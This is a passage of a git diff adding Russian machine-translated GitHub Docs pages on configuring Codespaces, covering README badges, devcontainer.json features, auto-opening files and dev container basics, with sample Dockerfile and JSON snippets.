c69a815501f5943a56d32af3e58cd7850a69588b +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158784' +--- +## Обзор + +Добавление значка "Открыть в {% data variables.product.prodname_github_codespaces %}" в файл Markdown позволяет пользователям легко создавать codespace для репозитория. + +![Снимок экрана: значок Codespaces на странице README](/assets/images/help/codespaces/codespaces-badge-on-readme.png) + +При создании значка можно выбрать определенные параметры конфигурации для codespace, которое будет создаваться при нажатии на значок. + +Щелкнув значок, пользователь перейдет на страницу дополнительных параметров для создания codespace, где уже указаны выбранные вами параметрами. Дополнительные сведения о странице дополнительных параметров см. в разделе [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). + +На странице дополнительных параметров пользователи могут при необходимости изменить предварительно заданные параметры, а затем нажать кнопку **Создать codespace**. + +## Создание значка "Открыть в {% data variables.product.prodname_github_codespaces %}" + +{% data reusables.repositories.navigate-to-repo %} +1. Под именем репозитория используйте раскрывающееся меню "Ветвь" и выберите ветвь, для которой нужно создать эмблему. + + ![Снимок экрана: раскрывающееся меню "Ветвь"](/assets/images/help/codespaces/branch-drop-down.png) + +1. Нажмите кнопку **Код {% octicon "code" aria-label="The code icon" %}** и выберите вкладку **Кодовые пространства**. + + ![Снимок экрана: кнопка "Создать codespace"](/assets/images/help/codespaces/new-codespace-button.png) + +1. Щелкните многоточие (**...**) в правом верхнем углу вкладки **Codespaces** , а затем щелкните **Создать с параметрами**. + + ![Снимок экрана: параметр "Настройка и создание codespace"](/assets/images/help/codespaces/default-machine-type.png) + +1. На странице дополнительных параметров для создания codespace выберите значения, которые должны быть указаны для пользователей. + + ![Снимок экрана: страница дополнительных параметров](/assets/images/help/codespaces/advanced-options.png) + +1. Скопируйте URL-адрес из адресной строки браузера. +1. Добавьте следующий код Markdown, например, в файл `README.md` репозитория: + + ```Markdown{:copy} + [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](COPIED-URL) + ``` + + Например: + + ```Markdown + [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://github.com/codespaces/new?hide_repo_select=true&ref=main&repo=0000000&machine=premiumLinux&devcontainer_path=.devcontainer%2Fdevcontainer.json&location=WestUs2) + ``` + + В приведенном выше примере `0000000` будет ссылочным номером репозитория. Другие сведения в URL-адресе определяются значениями, выбранными в полях на странице дополнительных параметров. diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/adding-features-to-a-devcontainer-file.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/adding-features-to-a-devcontainer-file.md new file mode 100644 index 000000000000..2ad5e322cba0 --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/adding-features-to-a-devcontainer-file.md @@ -0,0 +1,84 @@ +--- +title: Добавление компонентов в файл devcontainer.json +shortTitle: Adding features +intro: 'С помощью функций можно быстро добавлять средства, среды выполнения или библиотеки в конфигурацию контейнера разработки.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up +ms.openlocfilehash: 8e07666581a99934ae4cb406e538031ef4e1948c +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159917' +--- +{% data reusables.codespaces.about-features %} Используйте вкладки в этой статье, чтобы отобразить инструкции для каждого из этих способов добавления компонентов. + +## Добавление компонентов в `devcontainer.json` файл + +{% webui %} + +1. Перейдите в репозиторий на {% data variables.product.prodname_dotcom_the_website %}, найдите файл `devcontainer.json` и щелкните {% octicon "pencil" aria-label="The edit icon" %}, чтобы изменить файл. + + Если у `devcontainer.json` вас еще нет файла, его можно создать. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#creating-a-custom-dev-container-configuration). +1. Справа от редактора файлов на вкладке **Marketplace** найдите или найдите функцию, которую вы хотите добавить, а затем щелкните имя компонента. + + ![Снимок экрана: функция Terraform на вкладке Marketplace с "Terra" в строке поиска](/assets/images/help/codespaces/feature-marketplace.png) +3. В разделе "Установка" щелкните фрагмент кода, чтобы скопировать его в буфер обмена, а затем вставьте его в `features` объект в `devcontainer.json` файле. + + ![Снимок экрана: блок кода в разделе "Установка" на вкладке Marketplace](/assets/images/help/codespaces/feature-installation-code.png) + + ```JSON + "features": { + ... + "ghcr.io/devcontainers/features/terraform:1": {}, + ... + } + ``` +1. По умолчанию будет использоваться последняя версия компонента. Чтобы выбрать другую версию или настроить другие параметры компонента, разверните свойства, перечисленные в разделе "Параметры", чтобы просмотреть доступные значения, а затем добавьте параметры, вручную изменив объект в файле `devcontainer.json` . + + ![Снимок экрана: раздел "Параметры" на вкладке Marketplace с развернутыми значениями "version" и "tflint"](/assets/images/help/codespaces/feature-options.png) + + ```JSON + "features": { + ... + "ghcr.io/devcontainers/features/terraform:1": { + "version": "1.1", + "tflint": "latest" + }, + ... + } + ``` +1. Зафиксируйте изменения в файле `devcontainer.json` . + +Изменения конфигурации вступают в силу в новых пространствах кода, созданных из репозитория. Чтобы изменения вступили в силу в существующих codespaces, необходимо извлечь обновления `devcontainer.json` файла в codespace, а затем перестроить контейнер для codespace. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace). + +{% endwebui %} + +{% vscode %} + +{% note %} + +Чтобы добавить компоненты в {% data variables.product.prodname_vscode_shortname %} во время работы локально и не подключены к codespace, необходимо установить и включить расширение "Контейнеры разработки". Дополнительные сведения об этом расширении см. в [{% data variables.product.prodname_vs_marketplace_shortname %}](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers). + +{% endnote %} + +1. В {% data variables.product.prodname_vscode_shortname %} откройте палитру команд с помощью команды SHIFT++P (Mac) или CTRL+SHIFT+P (Windows/Linux). +2. Начните вводить "Настроить" и выберите **Codespaces: Configure Dev Container Features (Codespaces: Configure Dev Container Features).** + + ![Команда "Настроить компоненты Devcontainer" на палитре команд](/assets/images/help/codespaces/codespaces-configure-features.png) + +3. Измените выбранные компоненты, а затем нажмите кнопку **ОК**. + + ![Меню выбора дополнительных компонентов во время настройки контейнера](/assets/images/help/codespaces/select-additional-features.png) + +4. Если вы работаете в codespace, в правом нижнем углу появится запрос. Чтобы перестроить контейнер и применить изменения к пространству кода, с которым вы работаете, нажмите кнопку **Перестроить.** + + !["Codespaces: перестроение контейнера" на палитре команд](/assets/images/help/codespaces/rebuild-prompt.png) + +{% endvscode %} diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository.md new file mode 100644 index 000000000000..ee55deeccda1 --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository.md @@ -0,0 +1,55 @@ +--- +title: Автоматическое открытие файлов в codespaces для репозитория +shortTitle: Automatically opening files +intro: 'Вы можете настроить автоматическое открытие определенных файлов при создании codespace для репозитория и открытии пространства кода в веб-клиенте {% data variables.product.prodname_vscode %}.' +permissions: People with write permissions to a repository can create or edit the codespace configuration. +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up +ms.openlocfilehash: a57b76eda4bfc47071f3cfeade8f50afde9e01e6 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114108' +--- +## Общие сведения + +Если существует определенный файл, который удобно видеть пользователям при создании пространства кода для репозитория, можно настроить автоматическое открытие этого файла в веб-клиенте {% data variables.product.prodname_vscode_shortname %}. Это можно настроить в файле конфигурации контейнера разработки для репозитория. + +Указанные файлы открываются только при первом открытии codespace в веб-клиенте. Если пользователь закрывает указанные файлы, эти файлы не открываются автоматически при следующем открытии или перезапуске codespace. + +{% note %} + +**Примечание.** Эта автоматизация применяется только к веб-клиенту {% data variables.product.prodname_vscode_shortname %}, а не к классическому приложению {% data variables.product.prodname_vscode_shortname %} или другим поддерживаемым редакторам. + +{% endnote %} + +## Настройка автоматического открытия файлов + +{% data reusables.codespaces.edit-devcontainer-json %} +1. Измените `devcontainer.json` файл, добавив `customizations.codespaces.openFiles` свойство . Свойство `customizations` находится на верхнем уровне файла во включаемом объекте JSON. Например: + + ```json{:copy} + "customizations": { + "codespaces": { + "openFiles": [ + "README.md", + "scripts/tsconfig.json", + "docs/main/CODING_STANDARDS.md" + ] + } + } + ``` + + Значение `openFiles` свойства — это массив из одного или нескольких файлов в репозитории. Пути относятся к корню репозитория (абсолютные пути не поддерживаются). Файлы открываются в веб-клиенте в указанном порядке, а первый файл в массиве отображается в редакторе. + +1. Сохраните файл и зафиксируйте изменения в требуемой ветви репозитория. + +## Дополнительные материалы + +- [Основные сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers) diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/index.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/index.md new file mode 100644 index 000000000000..cf4fe2ca5fff --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/index.md @@ -0,0 +1,30 @@ +--- +title: 'Настройка репозитория для {% data variables.product.prodname_github_codespaces %}' +shortTitle: Setting up your repository +allowTitleToDifferFromFilename: true +intro: 'Узнайте, как приступить к работе с {% data variables.product.prodname_github_codespaces %}, включая настройку для определенных языков.' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/getting-started-with-codespaces +children: + - /introduction-to-dev-containers + - /setting-up-your-project-for-codespaces + - /setting-up-your-nodejs-project-for-codespaces + - /setting-up-your-dotnet-project-for-codespaces + - /setting-up-your-java-project-for-codespaces + - /setting-up-your-python-project-for-codespaces + - /setting-a-minimum-specification-for-codespace-machines + - /adding-features-to-a-devcontainer-file + - /automatically-opening-files-in-the-codespaces-for-a-repository + - /adding-a-codespaces-badge + - /setting-up-a-template-repository-for-github-codespaces +ms.openlocfilehash: 05fc3519aa856944ffaf105d3a847abd1b51577f +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158704' +--- + diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md new file mode 100644 index 000000000000..2eec1375396f --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md @@ -0,0 +1,245 @@ +--- +title: Основные сведения о контейнерах разработки +intro: 'При работе в codespace среда, в которой вы работаете, создается с помощью контейнера разработки, размещенного на виртуальной машине.' +permissions: People with write permissions to a repository can create or edit the codespace configuration. +redirect_from: + - /github/developing-online-with-github-codespaces/configuring-github-codespaces-for-your-project + - /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project + - /github/developing-online-with-codespaces/configuring-codespaces-for-your-project + - /codespaces/customizing-your-codespace/configuring-codespaces-for-your-project + - /codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up + - Fundamentals +ms.openlocfilehash: 0b47f0292eb3a13467a8227ac323d289f9712223 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158776' +--- +## Сведения о контейнерах разработки + +Контейнеры разработки или контейнеры разработки — это контейнеры Docker, специально настроенные для предоставления полнофункциональный среды разработки. Каждый раз, когда вы работаете в среде codespace, вы используете контейнер разработки на виртуальной машине. + +Можно настроить контейнер разработки для репозитория, чтобы codespace, созданные для этого репозитория, дали вам специализированную среду разработки со всеми инструментами и средами выполнения, которые необходимо использовать для конкретного проекта. Если вы не определили конфигурацию в репозитории, {% data variables.product.prodname_github_codespaces %} использует конфигурацию по умолчанию, которая содержит множество общих средств, которые может потребоваться команде для разработки проекта. Дополнительные сведения см. в разделе [Использование конфигурации контейнера разработки по умолчанию](#using-the-default-dev-container-configuration). + +Файлы конфигурации для контейнера разработки содержатся в каталоге `.devcontainer` в репозитории. Для добавления файлов конфигурации можно использовать {% data variables.product.prodname_vscode %}. Можно выбрать одну из стандартных конфигураций для различных типов проектов. Их можно использовать без дополнительной настройки, либо можно изменить конфигурации для более точной настройки среды, которую они создают. Дополнительные сведения см. в разделе [Использование предопределенной конфигурации контейнера разработки](#using-a-predefined-dev-container-configuration). + +Кроме того, можно добавлять собственные пользовательские файлы конфигурации. Дополнительные сведения см. в разделе [Создание настраиваемой конфигурации контейнера разработки](#creating-a-custom-dev-container-configuration). + +Можно определить одну конфигурацию контейнера разработки для репозитория, разные конфигурации для разных ветвей или несколько конфигураций. При наличии нескольких конфигураций пользователи могут выбрать предпочтительную конфигурацию при создании среды codespace. Это особенно полезно для больших репозиториев, содержащих исходный код на разных языках программирования или для различных проектов. Можно создать набор конфигураций, которые позволяют разным командам работать в codespace, настроенном соответствующим образом для выполняемой ими работы. + +При создании codespace на основе шаблона можно начать с одного или нескольких файлов конфигурации контейнера разработки в рабочей области. Чтобы дополнительно настроить среду, можно добавить или удалить параметры из этих файлов и перестроить контейнер, чтобы применить изменения к пространству кода, в которой вы работаете. Если вы публикуете codespace в репозитории на {% data variables.product.product_name %}, все пространства кода, созданные из этого репозитория, будут совместно использовать определенную конфигурацию. Дополнительные сведения см. в [разделах Применение изменений конфигурации к codespace](#applying-configuration-changes-to-a-codespace) и [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template#publishing-to-a-remote-repository). + +### devcontainer.json + +Основным файлом в конфигурации контейнера разработки является файл `devcontainer.json`. Этот файл можно использовать для определения сред codespace, созданных для репозитория. Содержимое этого файла определяет контейнер разработки, который может включать платформы, средства, расширения и перенаправление портов. Файл `devcontainer.json` обычно содержит ссылку на файл Dockerfile, который обычно находится рядом с файлом `devcontainer.json`. + +Если вы создаете codespace из репозитория без `devcontainer.json` файла или начинаете с пустого шаблона {% data variables.product.company_short %}, используется конфигурация контейнера разработки по умолчанию. Дополнительные сведения см. в разделе [Использование конфигурации контейнера разработки по умолчанию](#using-the-default-dev-container-configuration). + +Файл `devcontainer.json` обычно находится в каталоге `.devcontainer` репозитория. Кроме того, его можно расположить непосредственно в корне репозитория, в этом случае имя файла должно начинаться с точки: `.devcontainer.json`. + +Если вы хотите выбирать конфигурации контейнеров разработки в репозитории, все альтернативы файлу `.devcontainer/devcontainer.json` (или `.devcontainer.json`) должны находиться в собственном подкаталоге по пути `.devcontainer/SUBDIRECTORY/devcontainer.json`. Например, вы можете иметь на выбор две конфигурации: +* `.devcontainer/database-dev/devcontainer.json` +* `.devcontainer/gui-dev/devcontainer.json` + +При наличии нескольких файлов `devcontainer.json` в репозитории каждый codespace создается только из одной из конфигураций. Параметры нельзя импортировать или наследовать между файлами `devcontainer.json`. Если файл `devcontainer.json` в настраиваемом подкаталоге содержит зависимые файлы, такие как Dockerfile или сценарии, выполняемые командами в файле `devcontainer.json`, рекомендуется располагать эти файлы в этом же подкаталоге. + +Сведения о том, как выбрать предпочтительную конфигурацию контейнера разработки при создании codespace, см. в разделе [Создание codespace для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). + +{% data reusables.codespaces.more-info-devcontainer %} + +#### Использование файла devcontainer.json + +Рекомендуется рассматривать файл `devcontainer.json` как предоставление "настройки", а не "персонализации". Следует включать только те вещи, которые всем пользователям, работающим с вашей базой кода, необходимы в качестве стандартных элементов среды разработки, а не как личные предпочтения. Такие вещи, как анализатор кода, полезно стандартизировать и требовать, чтобы они были установлены у всех, поэтому они хорошо подходят для включения в файл `devcontainer.json`. Такие элементы, как декораторы пользовательского интерфейса или темы, — это личный выбор каждого, и их не следует помещать в файл `devcontainer.json`. + +Вы можете персонализировать свою среду codespace с помощью файлов с точкой и синхронизации параметров. Дополнительные сведения см. в разделе [Персонализация {% data variables.product.prodname_github_codespaces %} для учетной записи](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account). + +### Dockerfile + +Dockerfile можно добавить как часть конфигурации контейнера разработки. + +Dockerfile — это текстовый файл с инструкциями, необходимыми для создания образа контейнера Docker. Этот образ используется для создания контейнера разработки каждый раз, когда кто-то создает codespace с помощью файла `devcontainer.json`, который ссылается на этот файл Dockerfile. Инструкции в Dockerfile обычно начинаются со ссылки на родительский образ, на котором будет основан новый образ. За этим следуют команды, которые выполняются в процессе создания образа, например для установки пакетов программного обеспечения. + +Файл Dockerfile для контейнера разработки обычно находится в папке `.devcontainer` вместе с файлом `devcontainer.json`, который на него ссылается. + +{% note %} + +**Примечание.** В качестве альтернативы использованию Dockerfile можно использовать свойство `image` в файле `devcontainer.json` для ссылки непосредственно на существующий образ, который вы хотите использовать. Указанный здесь образ должен быть разрешен любой заданной политикой образов организации. Дополнительные сведения см. в разделе [Ограничение базового образа для codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces). Если ни файл Dockerfile ни образ не найдены, используется образ контейнера по умолчанию. Дополнительные сведения см. в разделе [Использование конфигурации контейнера разработки по умолчанию](#using-the-default-dev-container-configuration). + +{% endnote %} + +#### Простой пример файла Dockerfile + +В следующем примере используются четыре инструкции: + +`ARG` определяет переменную времени сборки. + +`FROM` указывает родительский образ, на котором будет основан создаваемый образ Docker. + +`COPY` копирует файл и добавляет его в файловую систему. + +`RUN` обновляет списки пакетов и запускает сценарий. Вы также можете использовать инструкцию `RUN` для установки программного обеспечения, как показано в комментариях. Чтобы выполнить несколько команд, используйте оператор `&&` для объединения команд в одну инструкцию `RUN`. + +```Dockerfile{:copy} +ARG VARIANT="16-buster" +FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-${VARIANT} + +# [Optional] Uncomment if you want to install an additional version of node using nvm +# ARG EXTRA_NODE_VERSION=10 +# RUN su node -c "source /usr/local/share/nvm/nvm.sh && nvm install ${EXTRA_NODE_VERSION}" + +# [Optional] Uncomment if you want to install more global node modules +# RUN su node -c "npm install -g " + +COPY library-scripts/github-debian.sh /tmp/library-scripts/ +RUN apt-get update && bash /tmp/library-scripts/github-debian.sh +``` + +Дополнительные сведения об инструкциях в файле Dockerfile см. в [Справочнике по Dockerfile](https://docs.docker.com/engine/reference/builder) в документации по Docker. + +#### Использование файла Dockerfile + +Чтобы использовать файла Dockerfile в рамках конфигурации контейнера разработки, необходимо сделать ссылку на него в файле `devcontainer.json` с помощью свойства `dockerfile`. + +```json{:copy} +{ + ... + "build": { "dockerfile": "Dockerfile" }, + ... +} +``` + +Если вы хотите использовать существующую оркестрацию контейнеров в контейнере разработки, доступны различные параметры. Дополнительные сведения см. в разделе "Параметры оркестрации" [спецификации](https://containers.dev/implementors/spec/#orchestration-options) на веб-сайте "Контейнеры разработки". + +## Использование конфигурации контейнера разработки по умолчанию + +Если вы не определили конфигурацию в репозитории, {% data variables.product.prodname_dotcom %} создает codespace с помощью образа Linux по умолчанию. Этот образ Linux включает ряд версий среды выполнения для популярных языков, таких как Python, Node, PHP, Java, Go, C++, Ruby и .NET Core/C#. Используются последние или LTS-выпуски этих языков. Существуют также средства для поддержки обработки и анализа данных и машинного обучения, таких как JupyterLab и Conda. Этот образ также включает другие средства разработчика и служебные программы, такие как Git, GitHub CLI, yarn, openssh и vim. Чтобы просмотреть список всех языков, сред выполнения и средств, которые включены, используйте команду `devcontainer-info content-url` в терминале codespace и перейдите по URL-адресу, который выведет команда. + +Сведения о том, что входит в образ Linux по умолчанию, см. в репозитории [`devcontainers/images`](https://github.com/devcontainers/images/tree/main/src/universal) . + +Конфигурация по умолчанию является хорошим вариантом, если вы работаете над небольшим проектом, использующим языки и средства, которые предоставляет {% data variables.product.prodname_github_codespaces %}. + +## Использование предопределенной конфигурации контейнера разработки + +Если вы используете {% data variables.product.prodname_codespaces %} в {% data variables.product.prodname_vscode %} или в веб-браузере, можно создать конфигурацию контейнера разработки для репозитория, выбрав из списка предопределенных конфигураций. Эти конфигурации предоставляют общие настройки для конкретных типов проектов и могут помочь вам быстро приступить к работе с конфигурацией, которая уже имеет соответствующие параметры контейнера, параметры {% data variables.product.prodname_vscode %} и расширения {% data variables.product.prodname_vscode %}, которые необходимо установить. + +Использование предопределенной конфигурации — это отличная идея, если требуется дополнительная расширяемость. Вы также можете начать с предопределенной конфигурации и изменять ее по мере необходимости в процессе развития проекта. Дополнительные сведения об определениях предопределенных контейнеров разработки см. в репозитории [`devcontainers/images`](https://github.com/devcontainers/images/tree/main/src) . + +Можно добавить предопределенную конфигурацию контейнера разработки либо во время работы в codespace, либо при локальной работе с репозиторием. Для этого в {% data variables.product.prodname_vscode_shortname %} во время работы локально и без подключения к codespace необходимо установить и включить расширение Dev Containers. Дополнительные сведения об этом расширении см. в [{% data variables.product.prodname_vs_marketplace_shortname %}](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers). В следующей процедуре описывается процесс использования codespace. Действия в {% data variables.product.prodname_vscode_shortname %}, если вы не подключены к codespace, очень похожи. + +{% data reusables.codespaces.command-palette-container %} +1. Щелкните определение, которое вы хотите использовать. + + ![Снимок экрана: список стандартных определений контейнеров](/assets/images/help/codespaces/predefined-container-definitions-list.png) + +1. Следуйте инструкциям по настройке определения. Дополнительные сведения о параметрах настройки определения см. в разделе [Добавление дополнительных функций в файл `devcontainer.json`](#adding-additional-features-to-your-devcontainerjson-file). +1. Нажмите кнопку **ОК**. + + ![Снимок экрана: кнопка "ОК"](/assets/images/help/codespaces/prebuilt-container-ok-button.png) + +1. Если вы работаете в codespace, примените изменения, нажав кнопку **Перестроить** в сообщении в правом нижнем углу окна. Дополнительные сведения о перестроении контейнера см. в разделе [Применение изменений к конфигурации](#applying-configuration-changes-to-a-codespace). + + ![Снимок экрана: запрос на перестроение](/assets/images/help/codespaces/rebuild-prompt.png) + +### Добавление дополнительных функций в файл `devcontainer.json` + +{% data reusables.codespaces.about-features %} Дополнительные сведения см. в разделе [Добавление компонентов в `devcontainer.json` файл](/codespaces/setting-up-your-project-for-codespaces/adding-features-to-a-devcontainer-file?tool=vscode). + +## Создание настраиваемой конфигурации контейнера разработки + +Если ни одна из предопределенных конфигураций не соответствует вашим потребностям, можно создать пользовательскую конфигурацию, написав собственный файл `devcontainer.json`. + +* Если вы добавляете один файл `devcontainer.json`, который будет использоваться всеми, кто создает codespace из репозитория, создайте файл в каталоге `.devcontainer` в корне репозитория. +* Если вы хотите предложить пользователям выбор конфигурации, можно создать несколько пользовательских файлов `devcontainer.json`, каждый из которых должен находится в отдельном подкаталоге каталога `.devcontainer`. + + {% note %} + + **Примечания** + - Вы не можете найти свои `devcontainer.json` файлы в каталогах более чем на один уровень ниже `.devcontainer`. Например, файл в каталоге `.devcontainer/teamA/devcontainer.json` будет работать, а в `.devcontainer/teamA/testing/devcontainer.json` — нет. + - {% data reusables.codespaces.configuration-choice-templates %} Дополнительные сведения см. в разделе [Настройка репозитория шаблонов для {% data variables.product.prodname_github_codespaces %}](/codespaces/setting-up-your-project-for-codespaces/setting-up-a-template-repository-for-github-codespaces). + + {% endnote %} + + Если в репозитории найдено несколько файлов `devcontainer.json`, они будут показаны на странице параметров создания codespace. Дополнительные сведения см. в разделе [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). + + ![Снимок экрана: выбор файлов конфигурации](/assets/images/help/codespaces/configuration-file-choice.png) + +### `devcontainer.json` Добавление файла + +Если у `devcontainer.json` вас еще нет файла в репозитории, его можно быстро добавить из {% data variables.product.prodname_dotcom_the_website %}. +1. Перейдите в репозиторий и щелкните раскрывающийся список **код {% octicon "code" aria-label="The code icon" %}** . +1. На вкладке **Codespaces** щелкните многоточие (**...**), а затем выберите **Настроить контейнер разработки**. + + ![Снимок экрана: раскрывающийся список "Код" с выделенным элементом "Настройка контейнера разработки"](/assets/images/help/codespaces/configure-dev-container.png) + +В редакторе откроется новый `.devcontainer/devcontainer.json` файл. Файл будет содержать некоторые начальные свойства, включая `features` объект , в который можно добавить новые средства, библиотеки или среды выполнения. Дополнительные сведения см. в разделе [Добавление компонентов в `devcontainer.json` файл](/codespaces/setting-up-your-project-for-codespaces/adding-features-to-a-devcontainer-file?tool=webui). + +Если репозиторий уже содержит один или несколько `devcontainer.json` файлов, щелкните **Настроить контейнер разработки** , чтобы открыть существующий `devcontainer.json` файл с наивысшим приоритетом в соответствии со [спецификацией](https://containers.dev/implementors/spec/#devcontainerjson) containers.dev. + +### Выбор конфигурации по умолчанию во время создания пространства кода + +Если файл `.devcontainer/devcontainer.json` или `.devcontainer.json` существует, он будет выбором по умолчанию в списке доступных файлов конфигурации при создании пространства кода. Если ни один из файлов не существует, будет выбрана конфигурация контейнера разработки по умолчанию. + +![Снимок экрана: выбранный вариант конфигурации по умолчанию](/assets/images/help/codespaces/configuration-file-choice-default.png) + +### Изменение файла devcontainer.json + +Можно добавлять и изменять поддерживаемые ключи конфигурации в файле `devcontainer.json`, чтобы указать аспекты среды codespace, например, какие расширения {% data variables.product.prodname_vscode_shortname %} будут установлены. {% data reusables.codespaces.more-info-devcontainer %} + +Файл `devcontainer.json` записывается в формате JSONC (JSON с комментариями). Это позволяет включать комментарии в файл конфигурации. Дополнительные сведения см. в разделе [Редактирование JSON в {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/languages/json#_json-with-comments) в документации по {% data variables.product.prodname_vscode_shortname %}. + +{% note %} + +**Примечание.** Если вы используете анализатор кода для проверки файла `devcontainer.json`, убедитесь, что для него задано значение JSONC, а не JSON. В противном случае комментарии будут отображаться как ошибки. + +{% endnote %} + +### Параметры интерфейса для {% data variables.product.prodname_vscode_shortname %} + +Параметры интерфейса для {% data variables.product.prodname_vscode_shortname %} можно настроить с тремя областями: Рабочая область, Удаленный [Codespaces] и Пользователь. Эти области можно просмотреть в редакторе параметров {% data variables.product.prodname_vscode_shortname %}. + +![Снимок экрана: выбор областей в редакторе параметров](/assets/images/help/codespaces/scopes-for-vscode.png) + +Если параметр определен в нескольких областях, в первую очередь приоритет имеют параметры рабочей области, затем параметры удаленного репозитория [Codespaces] , а затем пользователя. + +Параметры интерфейса по умолчанию для {% data variables.product.prodname_vscode_shortname %} можно определить в двух местах. + +* Параметры интерфейса, `.vscode/settings.json` определенные в файле в репозитории, применяются как параметры области рабочей области в codespace. +* Параметры интерфейса, определенные в `settings` ключе в `devcontainer.json` файле , применяются в codespace как удаленные параметры [Codespaces]. + +## Применение изменений конфигурации к среде codespace + +Изменения в конфигурации будут применены при следующем создании codespace. Однако если вы используете codespace в веб-браузере, в {% data variables.product.prodname_vscode_shortname %} или в интегрированной среде разработки JetBrains, можно применить изменения конфигурации к текущему codespace, перестроив контейнер. + +### Перестроение контейнера разработки в веб-клиенте или классическом приложении {% data variables.product.prodname_vscode_shortname %} + +{% data reusables.codespaces.rebuild-command %} +1. {% data reusables.codespaces.recovery-mode %} + + ![Снимок экрана: сообщение об ошибке о режиме восстановления](/assets/images/help/codespaces/recovery-mode-error-message.png) + + - Диагностируйте проблему путем просмотра журналов создания. Для этого нажмите кнопку **Просмотр журнала создания**. + - Чтобы устранить ошибки, выявленные в журналах, обновите файл `devcontainer.json`. + - Чтобы применить изменения, перестройте контейнер. + +### Перестроение контейнера разработки в интегрированной среде разработки JetBrains + +{% data reusables.codespaces.jetbrains-open-codespace-plugin %} +1. В окне инструментов {% data variables.product.prodname_github_codespaces %} щелкните значок перестроения. + + ![Снимок экрана: кнопка "Перестроить"](/assets/images/help/codespaces/jetbrains-plugin-icon-rebuild.png) + +1. Нажмите кнопку **Перестроить** при появлении запроса, чтобы подтвердить, что вы хотите перестроить контейнер разработки. +1. Повторно откройте codespace в интегрированной среде разработки JetBrains. + + +## Дополнительные материалы + +- [Предварительная сборка сред codespace](/codespaces/prebuilding-your-codespaces) diff --git a/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md new file mode 100644 index 000000000000..ef04afd99dab --- /dev/null +++ b/translations/ru-RU/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md @@ -0,0 +1,59 @@ +--- +title: Настройка минимальной спецификации для компьютеров codespace +shortTitle: Set a minimum machine spec +intro: 'Вы можете сделать так, чтобы в {% data variables.product.prodname_github_codespaces %} для вашего репозитория не использовался тип компьютера, не имеющий достаточного объема ресурсов.' +permissions: People with write permissions to a repository can create or edit the codespace configuration. +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up +ms.openlocfilehash: b7eeaac84721ff1d9ceab663957b1615952b0623 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159168' +--- +## Обзор + +Каждое создаваемое пространство кода размещается на 